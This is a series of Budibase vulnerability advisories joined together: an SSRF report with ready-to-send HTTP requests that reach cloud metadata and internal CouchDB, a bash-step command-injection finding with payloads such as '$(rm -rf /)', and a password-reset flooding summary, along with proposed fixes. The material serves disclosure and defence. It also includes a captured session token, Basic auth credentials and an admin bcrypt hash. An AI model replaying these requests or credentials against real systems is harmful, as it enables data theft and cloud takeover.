Captured from this engagement: - Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs - App ID: appdev3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID: datasource49d5a1ed1c6149e48c4de0923e5b20c5
Step 3 — Send SSRF request
Change fields.path to any internal URL. Examples below.
3a. Cloud metadata — GCP OAuth2 token http POST /api/queries/preview HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs x-budibase-app-id: appdev3dbfeba315fd4baa8fb6202fe517e93b Content-Type: application/json
{ "datasourceId": "datasource49d5a1ed1c6149e48c4de0923e5b20c5", "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read", "fields": { "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token", "headers": {"Metadata-Flavor": "Google"}, "queryString": "", "requestBody": "" }, "schema": {} } Response: json {"accesstoken": "ya29.d.c0AZ4bNpYDUK...", "expiresin": 3598, "tokentype": "Bearer"} Impact What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:
- Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project. - Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data. - Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable. - Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.
The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.
Detected by: Abdulrahman Albatel Abdullah Alrasheed
Location: packages/server/src/automations/steps/bash.ts
Description The bash automation step executes user-provided commands using execSync without proper sanitization or validation. User input is processed through processStringSync which allows template interpolation, potentially allowing arbitrary command execution.
Code Reference 21:28:packages/server/src/automations/steps/bash.ts const command = processStringSync(inputs.code, context)
let stdout, success = true try { stdout = execSync(command, { timeout: environment.QUERYTHREADTIMEOUT, }).toString()
Attack Vector An attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., $(rm -rf /), ; malicious-command, | malicious-command).
Impact - Remote code execution (RCE) - Complete system compromise - Data exfiltration - Lateral movement within the infrastructure
Recommendation 1. Immediate: Disable bash automation step in production until fixed 2. Implement a whitelist of allowed commands 3. Use parameterized command execution with proper escaping 4. Implement command argument validation 5. Consider using a restricted shell or command sandboxing 6. Add rate limiting and monitoring for command execution
Example Fix typescript import { spawn } from "childprocess"
// Validate against whitelist const ALLOWEDCOMMANDS = ["echo", "date", "pwd"] // Extend as needed
function sanitizeCommand(input: string): string { // Remove dangerous characters and command chaining return input.replace(/[;&|$(){}[\]]/g, "").trim() }
function validateCommand(cmd: string): boolean { const parts = cmd.split(/\s+/) return ALLOWEDCOMMANDS.includes(parts[0]) }
export async function run({ inputs, context }) { if (!inputs.code) { return { stdout: "Budibase bash automation failed: Invalid inputs" } }
const processedCommand = processStringSync(inputs.code, context) const sanitized = sanitizeCommand(processedCommand) if (!validateCommand(sanitized)) { return { success: false, stdout: "Command not allowed" } }
// Use spawn instead of execSync with proper argument handling return new Promise((resolve) => { const [command, ...args] = sanitized.split(/\s+/) const proc = spawn(command, args, { timeout: environment.QUERYTHREADTIMEOUT, }) let stdout = "" proc.stdout.on("data", (data) => { stdout += data }) proc.on("close", (code) => { resolve({ stdout, success: code === 0 }) }) }) }
Budibase is an open-source low-code platform. Prior to version 3.23.25, a business logic vulnerability exists in Budibase’s password reset functionality due to the absence of rate limiting, CAPTCHA, or abuse prevention mechanisms on the “Forgot Password” endpoint. An unauthenticated attacker can repeatedly trigger password reset requests for the same email address, resulting in hundreds of password reset emails being sent in a short time window. This enables large-scale email flooding, user harassment, denial of service (DoS) against user inboxes, and potential financial and reputational impact for Budibase. This issue has been patched in version 3.23.25.
1. Summary
| Field | Value | |-------|-------| | Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | Product | Budibase | | Version | 3.30.6 (latest stable as of 2026-02-25) | | Component | REST Datasource Integration + Backend-Core Blacklist Module | | Severity | Critical | | Attack Vector | Network | | Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | User Interaction | None | | Affected Deployments | All self-hosted instances without explicit BLACKLISTIPS configuration (believed to be the vast majority) |
---
2. Description
A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLISTIPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.
This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.
The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer
---
3. Root Cause Analysis
3.1 Blacklist Implementation
File: packages/backend-core/src/blacklist/blacklist.ts
typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLISTIPS // ← reads BLACKLISTIPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array }
// Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise<boolean> { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes }
Problem: When BLACKLISTIPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.
3.2 Default Configuration Missing BLACKLISTIPS
File: hosting/.env (official Docker Compose deployment template)
env MAINPORT=10000 APIENCRYPTIONKEY=testsecret JWTSECRET=testsecret MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase COUCHDBPASSWORD=budibase COUCHDBUSER=budibase REDISPASSWORD=budibase INTERNALAPIKEY=budibase ... (19 other variables) BLACKLISTIPS is NOT present
No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.
3.3 REST Integration Blacklist Check
File: packages/server/src/integrations/rest.ts
typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch
3.4 Authorization Model
| Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | POST /api/datasources | BUILDER (app-level) | | Create query | POST /api/queries | BUILDER (app-level) | | Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |
Route definitions: - packages/server/src/api/routes/datasource.ts:19 → builderRoutes - packages/server/src/api/routes/query.ts:33 → builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)
Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBALBUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.
---
4. Impact Analysis
4.1 Confidentiality — Critical
An attacker can read: - All CouchDB databases (/alldbs) - User credentials including bcrypt password hashes, email addresses (/global-db/alldocs?includedocs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)
4.2 Integrity — High
Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss
4.3 Availability — Medium
- Resource exhaustion by making the server proxy large responses from internal services - Database destruction via CouchDB DELETE operations - Service disruption by modifying critical configuration documents
4.4 Scope Change
The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network
---
5. Proof of Concept
5.1 Environment Setup
bash cd hosting/ docker compose up -d Wait for services to start Create admin account via POST /api/global/users/init Login to obtain session cookie
Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env
5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB
http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth=<sessiontoken> x-budibase-app-id: <appid>
{ "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } }
Response (201 — datasource created successfully): json { "datasource": { "id": "datasource4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } }
No warning, no validation error — an internal hostname is accepted without restriction.
5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)
Create and execute a query to GET /:
http POST /api/v2/queries/<queryid> HTTP/1.1
Response — Internal CouchDB data returned to the attacker: json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "gitsha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" }
5.4 Step 3 — Enumerate All Databases
Query: GET /alldbs with CouchDB admin credentials (from .env: budibase:budibase)
json { "data": [ {"value": "replicator"}, {"value": "users"}, {"value": "appdev3eeb8d7949074250ae62f206ad0b61a5"}, {"value": "appdev5135f7f368bc4701a7f163baaf22f1b7"}, {"value": "global-db"}, {"value": "global-info"} ] }
5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets
Query: GET /global-db/alldocs?includedocs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)
Response — Full user record with bcrypt hash: json { "data": [{ "totalrows": 4, "rows": [ { "id": "configsettings", "doc": { "id": "configsettings", "type": "settings", "config": { "platformUrl": "http://localhost:10000", "uniqueTenantId": "23ba9844703049778d75372e720c7169default" } } }, { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "doc": { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "email": "admin@test.com", "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK", "builder": {"global": true}, "admin": {"global": true}, "tenantId": "default", "status": "active" } }, { "id": "usagequota", "doc": { "id": "usagequota", "quotaReset": "2026-03-01T00:00:00.000Z", "usageQuota": {"apps": 2, "users": 1, "creators": 1} } } ] }] }
Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information
5.6 Step 5 — Access Other Internal Services
MinIO (Object Storage): Datasource URL: http://minio-service:9000 Response: {"Code":"BadRequest","Message":"An unsupported API call..."} Server header: MinIO Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.
Redis (Port Scanning): Datasource URL: http://redis-service:6379 Response: "fetch failed" (Redis speaks non-HTTP protocol) Different error from non-existent host → confirms service discovery capability.
Non-existent service: Datasource URL: http://nonexistent-service:12345 Response: "fetch failed"
5.7 Service Discovery Matrix
| Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access | | MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access | | Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open | | Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |
This differential response enables internal network mapping.
---
6. Attack Scenarios
Scenario A: Builder User Steals All Credentials 1. User has Builder role for one app 2. Creates REST datasource → http://couchdb-service:5984 3. Queries global-db to get all user records with password hashes 4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT
Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation) 1. Attacker has Creator role (lower than Builder) 2. Exploits CVE-2026-25040 to invite themselves as Admin 3. Now has Builder access → exploits this SSRF 4. Complete instance takeover
Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure) 1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/ 2. Retrieves IAM credentials, instance metadata 3. Pivots to cloud infrastructure
---
7. Affected Code Paths
User Request │ ▼ POST /api/datasources [BUILDER permission] │ packages/server/src/api/routes/datasource.ts:32 │ → No URL validation on datasource.config.url ▼ POST /api/v2/queries/:queryId [QUERY WRITE permission] │ packages/server/src/api/routes/query.ts:63 ▼ packages/server/src/threads/query.ts │ → Executes query via REST integration ▼ packages/server/src/integrations/rest.ts │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list) │ Line 708: fetch(url, input) → unrestricted request ▼ Internal Service (CouchDB, MinIO, Redis, etc.) │ ▼ Response returned to attacker via query results
---
8. Recommended Fixes
Fix 1 (Critical): Add Default Private IP Blocklist
typescript // packages/backend-core/src/blacklist/blacklist.ts
const DEFAULTBLOCKEDRANGES = [ "127.0.0.0/8", // localhost "10.0.0.0/8", // RFC1918 "172.16.0.0/12", // RFC1918 "192.168.0.0/16", // RFC1918 "169.254.0.0/16", // link-local / cloud metadata "0.0.0.0/8", // current network "::1/128", // IPv6 localhost "fc00::/7", // IPv6 private "fe80::/10", // IPv6 link-local ]
export async function isBlacklisted(address: string): Promise<boolean> { // Always check against default blocked ranges // even when BLACKLISTIPS is not configured const ips = await resolveToIPs(address) for (const ip of ips) { if (isInRange(ip, DEFAULTBLOCKEDRANGES)) { return true } } // Then check user-configured blacklist // ...existing logic... }
Fix 2 (High): Validate Datasource URLs at Creation Time
typescript // packages/server/src/api/controllers/datasource.ts
async function save(ctx) { const { config } = ctx.request.body.datasource if (config?.url) { if (await blacklist.isBlacklisted(config.url)) { ctx.throw(400, "Cannot create datasource targeting internal network") } } // ... existing logic }
Fix 3 (Medium): Add DNS Rebinding Protection
Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.
Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect
Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.